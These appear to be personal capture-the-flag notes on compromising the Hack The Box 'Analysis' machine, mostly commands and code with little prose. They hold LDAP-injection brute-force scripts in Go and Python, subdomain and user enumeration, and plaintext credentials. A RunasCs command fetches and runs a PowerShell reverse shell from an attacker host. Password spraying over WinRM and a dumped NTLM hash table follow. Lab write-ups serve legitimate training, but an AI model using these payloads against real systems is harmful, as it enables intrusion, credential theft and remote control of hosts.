HTB-Analysis笔记

nmap -A 10.10.11.250

echo "10.10.11.250 Analysis.htb" | sudo tee -a /etc/hosts

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://analysis.htb/ -H "Host: FUZZ.analysis.htb" --hc 404

gobuster dir -u http://internal.analysis.htb/dashboard -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,txt

cp /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt cxkuser.txtsed -i "s|$|@analysis.htb|" cxkuser.txt./kerbrute userenum -d analysis.htb cxkuser.txt --dc analysis.htb

package mainimport (        "bufio"        "fmt"        "io/ioutil"        "net/http"        "os"        "strings")func main() {        // Prompt user for wordlist input        fmt.Print("Enter the wordlist or charset (press Enter to use the default): ")        scanner := bufio.NewScanner(os.Stdin)        scanner.Scan()        charsetPath := strings.TrimSpace(scanner.Text())        // Use default wordlist if user didn't provide one        if charsetPath == "" {                charsetPath = "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"        }        baseURL := "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={found_char}{FUZZ}*)"        foundChars := ""        file, err := os.Open(charsetPath)        if err != nil {                fmt.Println("Error opening charset file:", err)                return        }        defer file.Close()        scanner = bufio.NewScanner(file)        for scanner.Scan() {                char := strings.TrimSpace(scanner.Text())                //fmt.Println("Trying character:", char)                //thisisthat := "OnlyWorkingInput:"                modifiedURL := strings.Replace(baseURL, "{FUZZ}", char, 1)                modifiedURL = strings.Replace(modifiedURL, "{found_char}", foundChars, 1)                fmt.Println("Modified URL:", modifiedURL)                //fmt.Println(thisisthat,"{found_char}",foundChars, 1)                response, err := http.Get(modifiedURL)                if err != nil {                        fmt.Println("Error making HTTP request:", err)                        return                }                defer response.Body.Close()                body, err := ioutil.ReadAll(response.Body)                if err != nil {                        fmt.Println("Error reading response body:", err)                        return                }                if strings.Contains(response.Status, "200 OK") && strings.Contains(string(body), "technician") {                        fmt.Println("Found character:", char)                        foundChars += char                        file.Seek(0, 0) // Move the file pointer to the beginning for another iteration                }        }        if err := scanner.Err(); err != nil {                fmt.Println("Error reading charset file:", err)                return        }        fmt.Println("Final found characters:", foundChars)}

import argparseimport requestsdef main():    # 解析命令行参数    parser = argparse.ArgumentParser(description="Brute-force script with optional proxy")    parser.add_argument("-p", "--proxy", default="127.0.0.1:8080", help="Proxy address and port (default is 127.0.0.1:8080)")    parser.add_argument("-w", "--wordlist", help="Path to the wordlist or charset file")    args = parser.parse_args()    # 如果用户未提供字母表文件，则使用默认字母表文件路径    charset_path = args.wordlist if args.wordlist else "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"    # 基本URL，包含FUZZ和found_char占位符    base_url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description=97NTtl*{found_char}{FUZZ})"    found_chars = ""  # 用于存储已找到的字符    skip_count = 6  # 跳过前6个'*'字符    add_star = True  # 标志，用于确定是否添加'*'字符    with open(charset_path, 'r') as file:        for char in file:            char = char.strip()            # 检查是否找到'*'字符并跳过前6个'*'字符            if '*' in char and skip_count > 0:                skip_count -= 1                continue            # 在第一次遇到'*'字符后添加'*'            if '*' in char and add_star:                found_chars += char                print("Found character:", char)                add_star = False                continue            # 替换占位符并生成修改后的URL            modified_url = base_url.replace("{FUZZ}", char).replace("{found_char}", found_chars)            print("Modified URL:", modified_url)            # 设置代理            proxies = {'http': args.proxy, 'https': args.proxy}            response = requests.get(modified_url, proxies=proxies)            # 检查响应文本是否包含"technician"并且状态码为200            if "technician" in response.text and response.status_code == 200:                print("Found character:", char)                found_chars += char                file.seek(0, 0)  # 将文件指针移回文件开头以进行另一次迭代    print("Final found characters:", found_chars)if __name__ == "__main__":    main()

http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description=97NTtl*4QP96Bv)

$ldap_password = 'N1G6G46G@G!j';$ldap_username = '[email protected]';$ldap_connection = ldap_connect("analysis.htb");

RunasCs.exe "webservice" "N1G6G46G@G!j" "powershell.exe -c IEX(IWR -UseBasicParsing 'http://10.10.14.87/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell -RemoteIp 10.10.14.87 -RemotePort 8080 -Rows 120 -Cols 38 -CommandLine cmd.exe" -d "analysis.htb"

reg query "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

crackmapexec winrm 10.10.11.250 -u user.txt -p '7y4Z4^*y9Zzj'

Administrateur:500:aad3b435b51404eeaad3b435b51404ee:584d96946e4ad1ddfa4f8d7938faf91d:::Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8549ecd32b0253e9894a422299fe2466:::jdoe:1103:aad3b435b51404eeaad3b435b51404ee:190193db2c6c6d69c60cf5af64447ce0:::soc_analyst:1104:aad3b435b51404eeaad3b435b51404ee:d6f020bbee8043520eb569e540913bd4:::cwilliams:1105:aad3b435b51404eeaad3b435b51404ee:ce88373ebd6d687eac0a405734a266aa:::technician:1106:aad3b435b51404eeaad3b435b51404ee:ce88373ebd6d687eac0a405734a266aa:::webservice:1107:aad3b435b51404eeaad3b435b51404ee:780b446d7d76a85880ce49a387f18642:::wsmith:1109:aad3b435b51404eeaad3b435b51404ee:3da4104738938858384180964346fc6c:::jangel:1110:aad3b435b51404eeaad3b435b51404ee:eea7337a28121aab144ca78fed48fc7e:::lzen:1111:aad3b435b51404eeaad3b435b51404ee:eea7337a28121aab144ca78fed48fc7e:::svc_web:2101:aad3b435b51404eeaad3b435b51404ee:cf74f3b0e86e17fba5051e261b9785b2:::amanson:2103:aad3b435b51404eeaad3b435b51404ee:5d5b796cd37d9e19d9d1ae10c22ffa78:::badam:2104:aad3b435b51404eeaad3b435b51404ee:5d5b796cd37d9e19d9d1ae10c22ffa78:::DC-ANALYSIS$:1000:aad3b435b51404eeaad3b435b51404ee:2ec9198220c4bb7306ba170b7fa007f9:::